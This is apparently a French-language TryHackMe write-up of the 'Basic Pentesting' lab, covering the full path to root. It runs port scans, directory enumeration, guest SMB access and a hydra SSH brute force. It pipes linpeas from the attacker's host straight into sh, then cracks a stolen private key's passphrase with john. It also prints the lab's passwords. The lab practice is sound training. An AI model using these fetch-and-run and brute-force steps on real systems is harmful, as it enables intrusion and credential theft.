Try Hack Me Walkthrough - Basic Pentesting

  • Machine ciblée : Basic Pentesting.

  • Répertoire : /home/kali/BasicPentest

  • Temps passé dessus : 1h20

Les machines de Try Hack Me sont guidées, alors je vais changer ma façon de rédiger mes docs pour correspondre au style de THM.

Question 1 : Trouver les services exposés de la machine.

┌──(kali㉿kali)-[~]
└─$
name="BasicPentest"
repository="/home/kali/$name"
ip="10.10.29.227"
domain='thm'
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 08:22 EST
Nmap scan report for BasicPentest (10.10.29.227)
Host is up (0.069s latency).                
Not shown: 928 closed tcp ports (conn-refused), 66 filtered tcp ports (no-response)                                                                                                                                                                                                                                         
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn t have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13?                       
| ajp-methods:                              
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http-proxy                   
|_http-favicon: Apache Tomcat               
| fingerprint-strings:                      
|   LANDesk-RC, TerminalServer:             
|     HTTP/1.1 400                          
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en                  
|     Content-Length: 2243                  
|     Date: Wed, 09 Nov 2022 13:25:11 GMT   
|     Connection: close                     
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m13s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2022-11-09T08:25:14-05:00
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-11-09T13:25:14
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.20 seconds

On découvre par là plusieurs services. Tout d’abord, on a du SSH (comme bien souvent), deux serveur web et (dommage), un serveur samba.

Question 2 : Quel est le nom du répertoire caché sur le serveur web

Bon, dans le cas où tu n’aurais pas pensé à continuer ton énumération, on te fille un joli TIPS là. On va donc faire de l’énum sur le premier serveur web.

┌──(kali㉿kali)-[~/BasicPentest]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name
2022/11/09 08:24:47 Starting gobuster in directory enumeration mode
===============================================================
/development          (Status: 301) [Size: 318] [--> http://basicpentest/development/]
/server-status        (Status: 403) [Size: 300]

Je vous laisse deviner la reponse. Regardons un peu ce qu’il y a dedans ce répertoire :
Le retour du répertoire

On va lire un peu les messages :

d┌──(kali㉿kali)-[~/BasicPentest]
└─$ curl http://basicpentest/development/j.txt                                                                                                                        
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K                                                                
┌──(kali㉿kali)-[~/BasicPentest]
└─$ curl http://basicpentest/development/dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

Des petites idées qui commencent à germer là ? On a pas d’authentification sur le site web; alors par où allons nous tenter de trouver le mot de passe ?

## Question 3 : Bruteforcer l’utilisateur Je suis pas fan du bruteforce quand j’ai encore 0 info. Donc j’ai préféré passer la question et continuer mon énumération.

Question 4 : Trouver le nom de l’utilisateur

Si vous n’avez pas encore fait la machine HacktheBox/Easy/Support, alors on va repartir sur la base de l’énumération smb.

┌──(kali㉿kali)-[~/BasicPentest]
└─$ smbmap -u 'guest' -p '' -H $ip
[+] Guest session       IP: 10.10.29.227:445    Name: BasicPentest                                      
        Disk                                     Permissions     Comment
        ----                                     -----------     -------
        Anonymous                                READ ONLY
        IPC$                                     NO ACCESS       IPC Service (Samba Server 4.3.11-Ubuntu)
┌──(kali㉿kali)-[~/BasicPentest]
└─$ smbmap -u 'guest' -p '' -H $ip -R Anonymous
[+] Guest session       IP: 10.10.29.227:445    Name: BasicPentest                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Anonymous                                               READ ONLY
        .\Anonymous\*
        dr--r--r--                0 Thu Apr 19 13:31:20 2018    .
        dr--r--r--                0 Thu Apr 19 13:13:06 2018    ..
        fr--r--r--              173 Thu Apr 19 13:29:55 2018    staff.txt
┌──(kali㉿kali)-[~/BasicPentest]
└─$ smbmap -u 'guest' -p '' -H $ip --download Anonymous\\staff.txt
[+] File output to: /home/kali/BasicPentest/10.10.29.227-Anonymous_staff.txt
┌──(kali㉿kali)-[~/BasicPentest]
└─$ cat /home/kali/BasicPentest/10.10.29.227-Anonymous_staff.txt/home/kali/BasicPentest/10.10.29.227-Anonymous_staff.txt
┌──(kali㉿kali)-[~/BasicPentest]
└─$ cat /home/kali/BasicPentest/10.10.29.227-Anonymous_staff.txt                                                                                      
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it s all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Donc on a un nom et on sait que son mot de passe est « faible » car il s’est déjà fait trouver par Kay. Maintenant, on peut le bruteforce par dictionnaire.

Question 5 : Trouver le mot de passe

┌──(kali㉿kali)-[~/BasicPentest]
└─$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://$ip
[22][ssh] host: 10.10.29.227   login: jan   password: armando

Note : Mon dieu que c’est lent. 10 minutes à attendre, si je savais pas que c’était vraiment ça, j’aurai sûrement abandonné.

Well. Have fun.

Question 6 : Quel service allez-vous utiliser pour vous connecter à la machine.

Je vous laisse trouver la réponse tout seul à celle là ;)

Question 7 : Trouver les vecteurs pour passer root.

┌──(kali㉿kali)-[~/BasicPentest]
└─$ ln -s ../photobomb/linpeas.sh linpeas.sh
┌──(kali㉿kali)-[~/BasicPentest]
└─$ python3 -m http.server
┌──(kali㉿kali)-[~/BasicPentest]
└─$ ssh jan@$name                                                                   
jan@basicpentest s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$ ls -lA
total 4
-rw------- 1 root jan 47 Apr 23  2018 .lesshst
jan@basic2:~$ sudo -l
[sudo] password for jan:
Sorry, user jan may not run sudo on basic2.
jan@basic2:~$ curl http://10.8.23.82:8000/linpeas.sh | sh

Rien de bien intéressant. On regarde ailleurs en même temps.

Question 8 : Quel est le nom de l’autre utilisateur ?

jan@basic2:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
kay:x:1000:1000:Kay,,,:/home/kay:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
tomcat9:x:999:999::/home/tomcat9:/bin/false
jan:x:1001:1001::/home/jan:/bin/bash
jan@basic2:~$ ls -lA ../kay
total 40
-rw------- 1 kay  kay  756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay  220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay 3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay 4096 Apr 17  2018 .cache
-rw------- 1 root kay  119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay 4096 Apr 23  2018 .nano
-rw------- 1 kay  kay   57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay  655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay 4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay    0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay  538 Apr 23  2018 .viminfo
jan@basic2:~$ cat ../kay/pass.bak
cat: ../kay/pass.bak: Permission denied

Ça semble mal parti, on va attendre d’analyser le linpeas et voir si c’est mieux … A moins que …

Question 9 : Si vous avez un autre utilisateur, que pouvez-vous faire avec cette information ?

jan@basic2:~$ ls -lA ../kay/.ssh
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub
jan@basic2:~$ if [ "$(cat /home/kay/.ssh/authorized_keys 2>/dev/null | cut -d ' ' -f -2)" = "$(echo "ssh-rsa $(ssh-keygen -e -f /home/kay/.ssh/id_rsa |grep -v '\---' | grep -v 'Comment' | tr -d '\t\r\n')")" ]; then echo "Les cles sont identiques" ; fi
jan@basic2:~$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
[... La suite de la clé. Je sais pas comment la récupérer hormis avec un bon vieux copier/coller.]
┌──(kali㉿kali)-[~/BasicPentest]
└─$ ssh -i ./id_rsa kay@$name
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0440 for './id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
┌──(kali㉿kali)-[~/BasicPentest]
└─$ ll
-rw-r--r-- 1 kali kali      3327 Nov  9 09:39 id_rsa
┌──(kali㉿kali)-[~/BasicPentest]
└─$ chmod 400 ./id_rsa     
┌──(kali㉿kali)-[~/BasicPentest]
└─$ ssh -i ./id_rsa kay@$name
Enter passphrase for key './id_rsa':

Presque, la clé est protégée par un mot de passe. On tenterait pas un autre un BF? A noter, on voit ici que le chall n’est pas réaliste. En effet, les droits sur la clé de de kay était trop large et n’auraient pas permis d’avoir accès à la machine.

Question 10 : Quel est le mot de passe kay ?

┌──(kali㉿kali)-[~/BasicPentest]
└─$ ssh2john id_rsa > id_rsa.hash
┌──(kali㉿kali)-[~/BasicPentest]
└─$ john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
┌──(kali㉿kali)-[~/BasicPentest]
└─$ ssh -i ./id_rsa kay@$name
Enter passphrase for key './id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$ sudo su -
kay@basic2:~$ sudo su -
[sudo] password for kay:
root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge.

Récapitulatif

Sans se servir des questions, il était vraiment facile d’obtenir les accès root au système; ça change des HackTheBox. Faire la machine + écrire le guide m’a pris 1h20 au total. Je pense avoir pris la solution de facilité avec la clé SSH. Le flag dit qu’il existe 2 façon de passer root. Je pense qu’elle doit avoir un lien avec le partage smb. Il faudrait voir un de ces jour.

A retenir

La principale faille sur cette machine est la façon dont communiquent les administrateurs. Bien que « caché » (vite fait), leur conversation permet de savoir ce qui a été fait et donc de trouver comment abuser la plateforme.
L’attaque par bruteforce sur le ssh avec hydra est inatendu. Elle doit remonter une quantité hallucinante de logs et me parait pas réalisable dans la vrai vie à cause de tous les systèmes style fail2ban et remontée de log. Par contre, l’attaque par bruteforce sur la clé ssh est quant à lui super intéressant.
Moral de l’histoire : même si vous avez un mot de passe overkill, pensez à sécuriser également vos autres facteurs d’authentification !